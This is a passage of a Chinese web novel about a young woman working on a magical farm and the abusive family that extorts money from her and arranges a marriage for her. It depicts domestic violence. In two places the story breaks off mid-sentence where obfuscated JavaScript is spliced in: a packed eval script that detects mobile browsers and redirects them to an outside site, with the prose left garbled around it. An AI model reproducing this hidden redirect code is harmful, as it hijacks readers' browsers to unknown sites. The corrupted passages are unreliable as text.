陆首秋现在没功夫理这些事,腌菜对她来说才是第一重要的,还有上回从章尾那带回来的茶叶,想做茶叶蛋偏偏一直忘。 看她这个脑子,果然活太久了,逐渐有点老年痴呆,记不住事。 . “我没钱!到底要我说多少遍你才肯信,是不是要我死你才满意!” 木屋内,阮鲸落满脸都是委屈勾起的愤怒,她对手机那头的薛彩云低吼,尾音尖锐的像一把刀,捅的却是自己的心脏,明明已经痛不欲生,但出于血缘的本能,吼完之后还是忍不住对薛彩云心生愧疚。 脑海有个声音在不停催眠,薛彩云是你亲妈,生你养你,没有她就没有你,她过得也不容易,嫁了个不是东西的男人,家暴、出轨,这些是你从小就看到的,薛彩云一次次被打的站不起来,唯一那次硬气提离婚还是你承诺挣了钱就带她离开,她把你当成倚仗才有了反抗的勇气,后来没能成功,反而招来更多毒打跟谩骂,这些都是你的责任,因为是你怂恿薛彩云的,给了她希望却没能力带她离开,你是一走了之了,可薛彩云还在那里吃苦受罪,你忍心吗?她不过是问你要生活费,为什么不给,你现在明明有钱…… 阮鲸落的视线停在陆首秋给的那几根人参上面,是,就在刚刚,她卖了一根,加上之前卖生鲜得来的钱,她人生第一次看到自己银行卡余额有这么多,要是再把剩下几根卖掉都能全款提一辆性价比不错的四个轮了。 那头的薛彩云在她老公阮明楼的威胁逼视下,边淌眼抹泪边絮絮叨叨儿女都是讨债鬼,一把屎一把尿拉扯大,结果都是白眼狼,工作了也不知道孝敬父母,没良心,不孝,害她在亲戚朋友面前抬不起头。 常年的暴力殴打使得薛彩云极度害怕恐惧阮明楼,这个在外无能狂怒的男人只会在家打骂老婆出气,年轻时候的薛彩云还知道反抗,现在被控制洗脑成了顺从的羊,已经忘记自己是个人,每天想最多的就是儿子阮云飞是阮家第三代唯一的根,是全家人的心头肉,不能委屈了他。 而阮鲸落是女儿,迟早都是要家人便宜了别人的,如今养这么大,就该为家里挣钱,供着唯一的弟弟,将来给弟弟买房、出彩礼娶媳妇,都是她这个姐姐该做的,村里家家户户都这样。 阮鲸落打记事起就知道自己生在一个重男轻女的家庭,从小到大,不管是自己家还是亲戚家,女人都不被允许上桌吃饭,要么另外支个小桌子,要么在厨房站着吃,男人们就在那边大鱼大肉的喝酒。 她坐在木屋唯一那把椅子上,听筒里是阮明楼打骂薛彩云要不到钱的声音。 心被一只手抓住,硬生生给扯起来。 过了不知道多久,那边的声音才小下去,之后是阮明楼如愤怒的疯牛般粗粗的喘气。 阮鲸落木着的表情终于活过来,眼珠子转动,视线往上抬看着虚空。 “别再打她了,我转钱。” 11. 第 11 章 阮鲸落闷的像个葫芦,回来到现在就没说过一句话,对屋里多出来那只可疑的小熊猫也只是看了眼,什么都没问,还好做饭的手艺没丢。 晚饭比中午吃的丰盛,是陆首秋像只烦人的蚊子那样在阮鲸落屁股后面逼逼叨叨换来的菜单,除烤鱼烤肉之外还有薄荷炸排骨、酸辣猪骨白菜汤,主食是普洱茶小汤圆,有鲜花馅儿和火腿馅儿,份量不多,因为阮鲸落这个北方娃打死不吃除芝麻馅以外的汤圆,所以只给陆首秋做了一碗。 别看每次都准备这么多菜,但从来没有剩下,陆首秋很能吃,肚子像无底洞,多少都能装下,左手大骨头右手烤肉,碗里是她最爱的煳辣椒折耳根蘸水,本来心情很烦躁的阮鲸落看她跟饿死鬼托生似的,郁结在心的那股气倒是莫名其妙散了出去。 陆首秋百忙之余抽了抽鼻子,顺走从阮鲸落头顶飘出的怨气。 听情报六处——大门口的鸟雀报告说阿落打完电话之后就像木雕似的坐在那发呆,要哭不哭的看着很可怜,人参全卖了,一根没留下,得来的钱除现金之外全转给了她妈,原本她是有点钱的,现在又回到解放前。 都什么年代了还重男轻女,她那个爸太不是东西了,她妈也好不到哪去、还有她那个没用的弟弟,想在女朋友面前装阔又没钱就怂恿她妈问她要钱,没拿到就跟她爸告状说她有路子挣钱都不帮衬家里,真是白眼狼……在阮鲸落回鼓楼之前,鸟雀在陆首秋耳边叽叽喳喳了许久,以上就是它们的义愤填膺,并且它们已经先一步知会了自己在北方的‘亲朋好友’,要给阮家人一点教训,敢欺负我们首秋大人的‘财产’,活得不耐烦啦! 陆首秋把砂锅里最经典的那块大骨头捞到碗里推给心不在焉嚼草根(一种野菜)的阮鲸落,对活了不知道多少年的首秋大人来说,没有一顿饭解决不了的事,有那就吃两顿。 阮鲸落的视线往下瞥,今天的酸辣猪骨白菜是按北边的做法,用的是辣白菜,又加了点新鲜的大白菜帮子,她老家那边冬天就常吃这道菜,容易做,天冷吃点酸酸辣辣的也挺好。 “干嘛?无事献殷勤非奸即盗。”没错,她对陆首秋就这印象。 看她心情确实不怎样的份上陆首秋决定今晚大度点,不跟她计较,“好心都让你当成驴肝肺了,多吃点肉啦,这大骨头可是猪大姐指名要给你的,说感谢你之前帮她找猪。” “……那都是多少天前的事了,感谢的有点晚吧。”嘴上这么说,她还是把装了骨头的碗挪到跟前。 每一块骨头都是有肉有筋,已经炖到用筷子轻轻一戳就能骨肉分离的程度,因为放了辣白菜,外面会有一层辣红,不过这点辣度还在阮鲸落的接受范围,要像陆首秋那样全是辣椒折耳根的,她吃一口都要爆炸。 陆首秋换个话题:“在农场也上了这么多天班,明天给你放一天假怎么样?回市区转转,或者上哪来个一日游。” 这个决定完全是出于对员工的心理健康考虑,虽然阿落已经病入膏肓,心理不健康、人格不健全,哪哪都有问题,对这个世界不抱任何希望,但还是想救一救,死马当做活马医,说不定管用。 阮鲸落一口拒绝:“没这种闲情雅致。” “那你不要假期啦?” “有没有差别不大,现在就挺好的。”一不小心就说了真话。 “嗯?”陆首秋俩眼睛倏一下瞪大,不可置信,“嗯?!” 阮鲸落手扶额头,暗骂自己是傻子,就算农场的生活很舒适没烦恼——就是有点吵,主要还是陆首秋的责任,谁让她一天到晚话那么多,像村民养的大鹅,嘎嘎的。除此之外,好像也没别的毛病,吃住都很好,没工资但有其他福利,赚的比她之前打工多多了,唯一的领导除了吵和贪吃之外也还行。 现在的生活确实挺好的了,但她不想让陆首秋看出来。 “我那是为了哄雇主开心随便说的,千万别当真。” 雇主:“……我看起来很像傻子吗?” 脾气比雇主大不知道的还以为她才是雇主的员工:“也没有很正常。” 初印象就是蹲守在写字楼门口心怀不轨的神经病,能正常么。 陆首秋挥拳头,看上去像是被气着了,问:“你什么时候才能对我和颜悦色?” “我没凶你。” “可态度总是不好。” “……我就这德行,受不了拉倒。” 陆首秋啧一声,“你总这样破罐子破摔么,对谁都这样。” 阮鲸落有点吃不下去了,抬头,眼神有点冷,也不耐烦,那些压抑的烦闷隐隐要炸的节奏。 “那你还想要我怎么样?金主。”语气极其讽刺。 再说下去这人肯定甩手就走,陆首秋决定不继续触碰逆鳞,脸上表情一换,笑嘻嘻道:“哎呀,只要你能好好给我守着大门就行啦,我哪敢要你怎样啊,现在这社会想找一个不用付工钱不用交社保的员工可太难了,你就是块宝,被我给捡到咯,我高兴还来不及呢,怎么敢提要求!” 就这,她和阮鲸落到底谁是金主,还真就不好说。 阮鲸落藏在桌下的手放开抓着的衣摆,紧着的那口气也松了松,她没想用这种态度怼陆首秋,毕竟还要靠人家给条活路,打工人的自觉她还是有的,就是嘴比脑子快,话出口了也收不回来。 她看了看又开心大吃起来的陆首秋,张了张嘴,眼底的颓然很明显,用微不可闻的声音说道:“抱歉……” 她并非不知道好歹,陆首秋能容忍她耍脾气,嘴贱,真的……从没有人这样忍让过她,连她自己都没有,因为大多数时候她都讨厌自己这个样子。 “嗯?”陆首秋嗦着骨头,“好端端干嘛道歉,你做错什么啦。” “我……” “就因为跟我互怼?害!多大点事啊,用不着道歉,其实这样更好玩,要是来个闷葫芦,我说什么就是什么,那才叫没趣,你这样的我喜欢,当初就是看上你这张见人就怼的嘴所以才……”再说就露馅了,她及时刹车,“嘿嘿,总之我很喜欢你就对啦,不管你做什么都不用跟我道歉。” 缺爱的脑子又开始不听使唤,阮鲸落低头捻指腹,她没多少识人的本事,所以即使相处这么多天她也看不透陆首秋这个人,但总会因为陆首秋的某句话心弦被拨动。 “喜欢我?”语气中带着对自己嫌恶的自嘲,“我这样的人,不配任何人喜欢,你也别张嘴说瞎话骗我了,没意思。” 陆首秋嗦骨头的动作都没有停一下,“嗯哼,哦?你是什么样的人?说说看。” “不讨喜的人。”阮鲸落偏头,神色落寞。 烧烤架上裹着香茅草的罗非鱼被陆首秋翻了个面,她将最嫩的鱼肚拨下来丢到阮鲸落碗里,“谁说你不讨喜,我就很喜欢你啊。” 觉得她在撒谎,又想不出她为什么要对自己这样一个人撒谎,阮鲸落沉默不语,看着碗里那块鱼肚,眼圈有些烧。 看她还钻牛角尖,脸上死气沉沉没有半点活力,陆首秋叹了口气,放下筷子,看着她,难得认真一回说:“什么是讨喜,什么又是不讨喜?没有讨得你厌恶之人的欢心,你就说自己不讨喜,你都讨厌他们,为什么又要得到他们的认可,不是自相矛盾了么。我是不爱说教人、讲大道理的,觉得没意思,这个世界就是千人千面,什么样的都该存在,千篇一律那就太单调了,你存在,即合理,我说喜欢你,那就是真的喜欢,不然为什么要选你来农场工作,你长得漂亮,做饭好吃,说话有趣,性格鲜活,比很多被社会规则约束住的人要更讨喜,难道不是吗?那些左右逢源的人,藏起自己的真实面目,每天带着面具游走在利益之间,你觉得他们混得如鱼得水,觉得他们讨人喜欢,这也没错,不过我不喜欢就是了,我喜欢你这样的。” 农场守门人的认定也是有条件的,并不是来个人就可以,以前有过那么多个,有她满意的,也有不是很满意的,目前为止,阮鲸落是她觉得最合适的,也是给予优待最多的那一个。 她说这些并不是想让阮鲸落为此改变什么,只是单纯不想对方不开心而已,生人无论开心、不开心都有怨气产生,但前者和后者的味道是不一样的,不开心时的怨气很苦,已经是老古董的首秋大人不爱吃苦。 阮鲸落扯了两下嘴角,“看不出来你也会熬心灵鸡汤。” 陆首秋耸肩,“我都说咯,不爱讲大道理,”她身体往前倾,“这是第一次讲,还可以吧?” “很有教育意义啊。”语气敷衍,也不知道有没有听进去。 陆首在也不在意,继续嗦骨头,“人生在世,活一天算一天,想那么多干嘛,还是吃饭最实在。” 话题就这样被一笔带过,再无人提及,饭后陆首秋主动承包洗碗工作,在厨房边哼山歌边洗洗刷刷,调子很熟悉,是阮鲸落每天晚上隐隐约约听到过的。 吃饱喝足的狸花窝在椅子上舔毛,角落那只将自己团成球的小熊猫还是吸引了阮鲸落的注意力,她挺没见识的,还不知道这小东西叫什么,只知道长得挺可爱,毛茸茸的,手感肯定很好,想摸。 “陆首秋!”她冲厨房的方向喊了声。 里头歌声停了,传来,“干嘛?” “这毛毛熊从哪来的,你是不是上山偷猎了,小心我举报你啊。” “……人在家中坐,锅从天上来,是它自己跑进来的,关我什么事啊。” 阮鲸落拍照百度出小熊猫的资料,二级保护,好家伙,吓得她手机都差点丢出去,惊恐道:“陆首秋!你想找死也别拉上我!” 大呼小叫,大惊小怪,陆首秋洗好碗出来,“我又怎么了嘛。” “还怎么,”阮鲸落恨不得把手机怼进她眼睛,“看看这是什么,你吃饱撑的啊,什么都敢留家里,等哪天警察上门拷你吧!” 陆首秋随意瞥两眼,无辜道:“都说是它自己跑进来的咯,就算警察来了我也这么说。” “呵……” “你这什么表情,不信啊?那你问它是不是自己跑进来的。” “我倒是想问,那也得它听得懂,会说人话才行啊。” “听得懂啊。”何止听得懂,要不是建国以后不许成精,考雅思托福都行了。 “……” “你不信?”她忽然狡黠一笑,身体靠近将阮鲸落逼到桌边。 她老喜欢突然来这么一下,吓得阮鲸落小心脏砰砰跳。 近在咫尺,呼吸都绕在一块,陆首秋皮肤很好,瓷白,细腻,几乎看不到毛孔,脸部轮廓流畅,山根的痣也是锦上添花,挑不出任何毛病,她这张脸放在娱乐圈是黑粉看了都黑不出来的程度。 “喂!”心跳没来由漏掉一拍,阮鲸落推开她,站好,说了句:“反正会吃牢饭的又不是我。” 就上楼去了。 “明天允许你睡到自然醒,今晚就别这么早睡啦,我煮了茶叶蛋,一起吃夜宵啊。” . 阮云飞发了很多张薛彩云被打的鼻青脸肿的图片过来,还有视频,“你要是早点转钱,妈也不至于挨打,这都是你的错。” 阮鲸落都不敢点开这些图片细看,线上跟阮云飞对骂:“你闭嘴吧,傻逼,你跟阮明楼那个畜生一路货色,看着自己亲妈挨打,你牛逼啊阮云飞,拿着我的钱跟那女的吃香喝辣游山玩水,高兴吧?操你大爷,怎么不打雷劈死你们。” 她知道阮明楼是什么东西,也知道阮云飞是个什么玩意儿,但她还是转钱了,要是不转,薛彩云就会一直挨打,报警没用,那群人只会说这是家庭纠纷,管不了,最多口头教育两句,拘留都不会有,回过头阮明楼就会把薛彩云往死里打。 她做不到无视,因为她的命是薛彩云给的,同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868417|191817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,她也痛恨被这份血缘捆住的自己。 骂完她就把手机狠狠砸到床上,胸膛的剧烈起伏是她对这种困境无可奈何的愤怒,她想过死,想过不理会,可她就是无法割裂,这种煎熬无人能懂,除了她自己。 过了会儿,阮鲸落靠在窗边,望向夜空璀璨的星河。 歌声、鼓乐…… 不知道过了多久,她焦躁的心终于归为平静,腿也站的僵硬了,正要转身回床上睡觉—— 叩叩…… 门外传来敲门声。 鼓楼就只有她和陆首秋,不用想就知道是谁,这还是第一次陆首秋在半夜敲她的门。 “没锁,进来吧。” 陆首秋抓着门把拧开,探进来一个脑袋,见阮鲸落站在打开的窗户边,嘴角一勾,就说:“干嘛一个人躲在房里偷听呀。” 下楼前她就换回了日常穿的衣服,头上的银饰也少了,只留下一根银簪,耳朵上是一对银铃铛,脖子上的银项圈底下坠了把小银锁。 阮鲸落挪着发僵的腿,“不躲着点怕看见你们杀人越货,会灭我口。” “这话说的,我干的正经买卖。” “谁家好人半夜不睡觉在楼上跳大神啊,你那俩表哥又走了?”从开始的狐疑到现在的看开,阮鲸落都佩服自己的接受能力,反正不关她的事。 陆首秋推门进来,“走了啊。” 她是来找阮鲸落下楼吃夜宵的,阿玫姨送的秋月梨还在锅里蒸着,个头都挺大,把皮削干净,挖掉中间不能吃的部分,再放几粒枸杞和去了核的大红枣,往里加一小半的水,小火慢蒸,梨自带水分,出来的汁很清甜,不用另外放糖也很好喝,又能润肺止咳。 削皮之后都是单独放进圆形的瓷忠蒸的,盖子一掀开,梨汁夹着枸杞红枣的香甜扑鼻而来,糖色的汤汁轻轻晃动,用勺子挖下一大块梨肉,有别于没蒸之前的清脆,蒸熟后的梨肉绵软,一抿就能化开,热乎乎顺着食道滑进胃里,这奇异的口感阮鲸落还是第一次体会,她没吃过炖梨。 陆首秋又把下午煮好浸泡到现在的茶叶蛋夹出来几个,色上的很好,茶香四溢,晚上吃的那碗普洱茶汤圆也是用的这个茶叶,她骗阮鲸落说那是普洱,其实不是,这个茶原没有名字,因长在章尾山顶,比翼鸟又在茶树上做窝,才有了一个名——章尾凫。 “谁大晚上吃茶叶蛋啊。”阮鲸落又管不住嘴,意见很大。 陆首秋浑不在意,“好不容易泡入味,当然要尝尝,不吃我睡不着。” 剥蛋壳时乌黑的汁从手指缝往下流,都快到手腕了,陆首秋怎么都不肯先放下剥了一半的蛋,左扭又扭换各种姿势想把袖子蹭到手肘,别弄脏了。 阮鲸落在边上一副地铁老人看手机的表情,见她弄半天都没弄上去,就翻了个白眼,不耐烦的抢过那个茶叶蛋,又抽了张纸巾塞她手里,说:“笨手笨脚的,先擦擦吧,我给你弄。” “嘿嘿,谢谢阿落!”陆首秋冲她biu~biu发射爱心。 “……够了。”阮鲸落咬紧后槽牙。 茶叶蛋陆首秋自己吃了三个,阮鲸落吃了一个,剩下的放在厨房留到明天吃早餐。 上楼前阮鲸落又看了眼那只小熊猫,它不缩在角落了,正跟狸花玩你挠我抓的游戏,难以想象让它俩在这玩一晚上,明天会看到怎样惨不忍睹的堂屋,屋里这些零零散散的摆件还能有剩? “你不放它出去?”她也不问这是打哪来的了,反正问了陆首秋也不会说实话,农场周边是丘陵,又有果园,延绵出去就是树林,有野生动物也正常,可能是肚子饿了来农场找吃的,误打误撞被陆首秋碰上。 陆首秋看那边玩得正好的两个货,摊手,耸肩,“我刚才就没关大门,你看它走么?” 已经是死皮赖脸赖在这了。 阮鲸落皱眉,不想管也得管,这是国家二级,要是被人看见会误以为是她们私养的,那问题可就大了,陆首秋可以坐牢,她不可以。 想起第一次来看到的那只猫头鹰,陆首秋说报备过了,“那你打电话跟有关部门报备没有?” “报过了报过了。” 阮鲸落松了口气,不再继续问。 已经很晚了,她也困,便回房间准备睡觉,本来都要睡了的,被陆首秋拉下来吃炖梨,现在肚子饱的有点难受。 她在房门前停了几秒,像是下了重大决定般回头问:“明天早上想吃什么?” 总不能只吃茶叶蛋。 鼓楼内部是层层旋转上去、中间镂空的结构,两个房间虽是对门,但中间隔着栏杆,陆首秋正趴在上头,辫子垂到胸前,很认真的想了半天。 “嗯……想吃……想吃酸汤汆肉米线。” “知道了。” 咔嗒—— 房门开了,又关上。 陆首秋手撑着下巴,盯着对面那扇门若有所思。 阿落是把她吃晚饭时说的那堆大道理般的安慰听进去了吧,唉,这人怎么会说自己不讨喜呢,再没有比阿落更能讨她喜欢的生人了。 想着想着就想到了明天会吃到的汆肉米线,这种家里有个靠谱的大厨随时都能点菜的感觉可太好了,雇佣时限肯定是会延长,就是不知道延长多久为好,生生世世?她没问题,就不知道阿落乐不乐意,回头找个合适的机会谈谈? en…… 万一吓跑了怎么办,跑路这种事阿落肯定干得出来。 她回了自己房间,路过桌子看到上面摆放的一排排全家福,都是她投胎为人时留下的,有些年代特别久远的是请画师画的,后来为了方便保存才拍下来做成相片,镶在相框里,每一张的家庭成员都不同,唯独她没有变。 她去地府看过家人的亡魂,有的已经转世为人,有的选择留在那,见到她时也抱头痛哭,但她已经没有感觉了。 12. 第 12 章 千里之外的临东省潍山市阮家村,本该在被窝睡大觉的村民被成千上万只鸟雀搅得崩溃,家家户户鸡飞狗跳,凡是放在外面的东西都被鸟雀叼走丢在地上,连裤/衩子、胸/罩都被挂到树上拿不下来。 其中受害最严重的就是阮明楼家,跑到外面想拍视频发抖音上热门的阮云飞被啄伤了手臂,从小被捧着长大的他哪里受过这种罪,跑回屋里就嚷嚷自己要死了,阮老头和阮老太看得心疼,一边搂着宝贝大孙子哭天抢地一边咒骂。 “杀千刀的,哪里来的毛畜生把我的飞儿啄成这样!哎哟我的飞儿啊我的乖孙啊!还不快去叫人送飞儿去医院!你是死了的啊,看着飞儿喊疼都不知道心痛,你是怎么当妈的,怎么能让飞儿一个人跑到外面!丧门星,扫把星!成天就知道克我们家!” 对公婆的迁怒,薛彩云心里纵使有一万句不满也不敢出声争辩,只能找出手机给阮明楼打电话,那边不接,不知道又上哪喝酒去了,现在村里乱成一锅粥,自己家都顾不过来,谁还能来帮她家。 她捏着无人接听的手机站在堂屋,缩着肩膀小声跟公婆说:“也不是特别严重,拿点药擦擦就好了……” 不说这话还好,一说阮老太就跟发了疯的老母鸡,冲过来直接一巴掌扇到薛彩云脸上,瞪着浑浊恶毒的老眼骂道:“我儿子怎么就娶了你这个丧门星!要是我大孙子有个三长两短,我跟你没完,立马就让明楼把你休了!” 薛彩云捂着被扇疼的脸,委屈的直掉眼泪,却一个字都不敢再说。 这么大规模的袭击,必定有个带头的,一直停在高处没下来的那只红腹鸟就是这次行动的领导者,它已经开了灵智,听得懂人话,又常年在人间的东南方来回飞,见多识广,对婆媳关系也略有耳闻,据驻守在本地的小雀汇报,阮家村大部分人都这样,只不过阮老太最奇葩,对待儿媳妇也最恶劣,但藏得很好。 红腹鸟俯冲下去,一个闪身就穿过门板,在屋里阮家人察觉不到的情况下打开了门,招呼外面的鸟雀一窝蜂涌进来,阮老太尖叫着四处躲都躲不开,被叨成了鸡窝头,脸上、手上也有伤,人也吓得不轻,瘫在炕上呼哧呼哧喘气。 等阮明楼接到同村人的电话赶回来,看到满屋的狼藉和瘫在炕上吓得没法动弹的爹妈、受伤的儿子,再看看什么事都没有的老婆,火气一下子上来,操起扫把就想往薛彩云身上招呼,被藏身在暗处还没有走的红腹鸟飞啄眼睛,要不是他闪得快,可能已经成瞎子了。 . “四伯……”阮明楼狞着受伤的眼角,对进门来的人很恭敬,起身上去迎,“你看这……我家都让那群鸟祸害成这样了,怎么办啊。” 阮家村人都姓阮,同族的,家家户户沾亲带故,辈分关系很复杂,被阮明楼叫四伯的这人是村长阮栋梁,七十多岁了还没退,不仅如此,他还是阮家村的族长,在村里很有威信。 今晚村里遭鸟雀袭击,都有损失,阮明楼家最严重,阮老太和阮老太被送到村医所打吊针还没有回来,屋里只有阮明楼、阮云飞和薛彩云,跟阮栋梁同来的几个男人都是村里的话事人,他们要挨家挨户了解情况,再上报给村委申请赔偿。 阮栋梁没上炕,只挨着炕沿坐了半个屁股,手里的拐杖杵着地面,他对阮明楼这个侄子的态度还算温和,“现在不是正在核实受损情况嘛,你家坏了什么东西,你合计出来一个数,我报到上头帮你要赔偿。” 阮明楼年轻的时候一表人才,现在酒色摧毁了他的身体,只剩下臃肿,那张红的不太正常的脸镶着跟阮老太如出一辙的恶毒眼睛,但他生性懦弱无能,只敢窝里横,心里就算对阮栋梁这些客套话不满也不敢有意见,他低着头唯唯诺诺称是,乍一看还真以为他是老实人,也难怪村里人都不信他会打薛彩云。 阮明楼太会装了,还有阮老太,母子两个是天生的演技派,外人面前格外老实,关了门后才露本性,阮老太还跟村里人说薛彩云这个儿媳妇很厉害,对她这个婆婆不好,别人看她平日里都穿旧衣裳,路过她家时也常看到她在院子里干活,她跟阮老头都八十多的人了,享不到儿孙的福就算了,还被儿媳妇压一头,真是好可怜,所以不管薛彩云怎么跟人解释自己才是被搓磨的那个,都没人信她,反说她颠倒黑白,心机深,是个厉害角色。 薛彩云有苦说不出,阮明楼打她都不许她出声,但凡发出一点声打的就更狠,下手的地方又难以启齿,她总不能解开衣服让全村人看,阮家的房子又在村尾,门一关,谁知道屋里发生什么,久而久之她学会了顺从,一句不敢反驳,但还是会挨打。 以阮栋梁的身份,这一趟倒也不必亲自来,他是有别的事要问:“明楼啊,听说你家有渠道弄到云黔农场的土货?” 阮鲸落寄的那些生鲜还是被阮云飞放到网上卖了,他那个抖音号有很多同村人关注,看到评论区说那些生鲜有多难得多值钱就眼热了,事情传到阮栋梁那里,巧的是阮栋梁之前偶然一次听别的人提过这座农场,说的却不是生鲜,而是一个传闻——长寿秘方。 买东西得来的钱阮明楼要走了一大半,现在已经被他在麻将桌上输光了,又开始打阮鲸落转给薛彩云的那笔钱的主意,不过这笔钱刚到就被阮云飞划进了自己口袋,一分都没有给薛彩云留下,父子俩还为此吵过架,阮明楼对老婆能下手,混蛋得很,却不会动手打儿子,倒不是多有良心,而是怕以后阮云飞不给他养老送终。 阮明楼想讨好阮栋梁,便腆着脸陪笑道:“是有点门路,我家那个不争气的大丫头在云黔打工,认识了几个朋友,那些土货就是她那几个朋友帮弄的,四伯是想?” 这都是阮明楼瞎编的,阮鲸落根本没提过那些东西从哪来。 阮栋梁一听,没有立马说出自己这趟的目的,而是顺着话题提起多年没见回来过的阮鲸落,“算起来你家大丫头今年也二十三了吧?” “是是是……”事实上阮明楼根本不知道自己女儿现在多大,只知道那是个不孝东西,赔钱货。 阮栋梁沉吟,“嗯……年纪也不小了,该嫁人了,女娃嘛,还是要趁年轻才好找人家,回头你打个电话让她回来一趟,跟你四伯母那头的侄子见见,先把事情定下来,等明年再办酒。” 能在村里掌权这么多年,阮栋梁也是有倚仗的,他大儿子是潍山市XX局的副局长,儿媳是律师,娘家在潍山也是有头有脸的;二儿子是医生,在市医院工作,娶的是他老师的女儿,也是个医生;三儿子在村里借着他老子的名头弄了个专销农产品的抖音账号,请了网红团队带货,货是外头弄来的便宜玩意儿,质量不怎么样,为了让村民配合拍视频他也会给钱,算作封口费,村里不少人为了这钱就没揭穿他,账号的带货数量很庞大,还请了专业水军控评,那些说货质量不好的买家评论都被删掉了。 虽说大家一个村,又都姓阮,过年拜一个祖宗,可人就是分三六九等,差距就在那。阮明楼不是没眼热过,暗地里也撺掇阮老头找阮栋梁求个门路,阮栋梁嘴上答应,却一点行动都没有,辈分上的四伯终究是辈分上的,为这事阮明楼私下没少咒阮栋梁早点死。 现在听了这好事,顿时转了态度,连连点头,语气比刚才还恭敬,“您说的对,丫头大了就该嫁人,有您保媒,肯定错不了,我回头就打电话喊她回来,四伯您看……”他装作不好意思的搓手,低眉顺眼的,看着很老实,“我们家的事还老让您操心,我我我……都不知道怎么谢您,唉,也怪我没大本事,不像大哥二哥三哥那么有出息,大哥二哥就不说了,他们读书那会就厉害,一看就是有大出息的,三哥嘛,脑子灵活,是做大生意的人,现在也离得近,要是能……” 他抬眼小心翼翼的看阮栋梁,都说的这么明显了,这老头应该知道意思了吧? 阮栋梁这回倒给明确态度了,“都是一家人,不用说这些显外道的话,提携自家兄弟本就是应该的,等你三哥从市里回来我就跟他说,让他抽空带带你,”话锋一转,又说回阮鲸落,“你四伯母的那个侄儿你应该也见过,就是刘良。” 阮栋梁的老婆是市里人,娘家姓刘,经商的,很有钱,刘良是阮刘氏堂兄弟的独子,当年对还在上高一的阮鲸落动过念头,这事阮明楼一直记着的,还骂阮鲸落不识好歹,送上门的富贵都往外推。 在旁一直听爷们说事的薛彩云险些拿不稳手中才卷了一半的毛线球,那个刘良比大丫头大那么多,怎么嫁! 她心里不乐意又不敢吱声,等阮栋梁和其他人走了才缩在角落期期艾艾的嘟嚷:“四伯说的,他那个侄子刘良,今年都有四十了吧,我听说他结了两次婚都离了,有三个孩子,咱们、咱们大丫头嫁这样的人,以后日子不好过的……” 没等她磕磕绊绊将话说完,换了副面孔的阮明楼甩手又要打,手都扬起来了,半道又停下来,转为狠狠瞪了眼薛彩云,“你懂个屁!女儿就是赔钱货,嫁谁还不是嫁,还轮得到你说了算?多少人想攀刘家这门亲都不能呢,现在送上门的好事,你要是敢出去乱说坏老子的财路,看老子不打断你的腿!赶紧给那死丫头打电话,让她回来!躲在云黔那个穷乡僻壤勾引什么野男人,没出息的东西,吃老子的,喝老子的,养这么大也该给老子换点好处了。” 薛彩云被他吼的浑身颤栗,哆哆嗦嗦的,那天挨打的伤还没有好,她现在也不敢违逆阮明楼的意思,悄悄去看边上一直玩手机的儿子阮云飞,指望儿子能帮自己说句话。 除了要钱之外,阮云飞从来不管家里任何事,对阮明楼的家暴行为也视而不见,甚至觉得很烦,根本不管被打得半死不活的亲妈,自己跑到外面躲清静。 现在也是,阮鲸落嫁给谁都跟他没关系,不过…… “爸,刘家那么有钱,咱们彩礼可不能少要。” 阮云飞知道自家没钱,唯一能快速搞到钱的方式就是把阮鲸落嫁了换彩礼,有了这钱他就能跟女朋友那头提毕业结婚的事,那女的家里挺富裕的,又是独女,说白了就是绝户,等那两个老的死了之后家产就全是他的,要不是为了这,他才懒得花钱哄那个大小姐,长得又不怎么样。 他知道姓刘那老鳖孙一直惦记阮鲸落,高中那回差点就得手了,被不知道从哪冒出来的夜猫坏了好事,在那之后刘良逢人就说自己那晚遇见了鬼。现在有四爷爷保媒,这事肯定成,彩礼怎么着也不能少了。 阮明楼也是打彩礼的主意,“我知道,还用你说。”见薛彩云没动,又骂:“打电话去啊!没见识的女人,老子当初怎么就娶了你这个没用的,娘家穷得叮当响,一点忙都帮不上,妈的!” 自从娶了薛彩云这臭娘们,他就过得不顺,别人都说是薛彩云克他,是克夫命。 薛彩云只得给阮鲸落发微信,叫让她从云黔回来。 阮云飞因为被鸟啄伤了胳膊,又闹腾一晚上没睡,心情很差,理都没理薛彩云就回自己屋里去了。 带头捣乱的那只红腹鸟还没有撤离,一直藏在屋顶偷听,此刻小小的鸟脑袋循环播放:没救了没救了…… . 陆首秋一晚上都在惦记酸汤汆肉米线,天没亮就起来,怀里还抱着她那只丑兮兮的螃蟹娃娃,这是上一世的旧物,面料都磨的看不出原来的颜色了还舍不得丢,睡觉必备。 她蹲在房门口等阮鲸落起床。 任谁大清早浑浑噩噩开门看到一坨不明物体挡在那都会被吓得魂不附体,超分贝的尖叫来自阮鲸落大张的嘴。 “啊!啊啊啊啊——” 紧接着咕咚一声,阮鲸落因为早上低血糖又受了惊吓晕倒,差点把脑袋摔出大肿包。 “对不起啊,我不是故意的……”陆首秋扶娇弱的员工坐到椅子上,万分真诚的道歉,在员工射来杀人般恐怖的眼神时又很无辜的低头对手指,再凶……再凶她就表演一秒落泪。 阮鲸落扶着额头,做生不如死状,有气无力,“你没事蹲我房门口干嘛,心脏病都让你给吓出来了。” 陆首秋呲着一口小米牙,“你问我今天早上想吃什么。” “……所以呢。”咬牙切齿。 “我就等你起来做啊。”理直气壮,完全没觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早上露水重,微凉,这样一碗酸酸爽爽的米线下肚,对陆首秋来说就是幸福一天的开始。 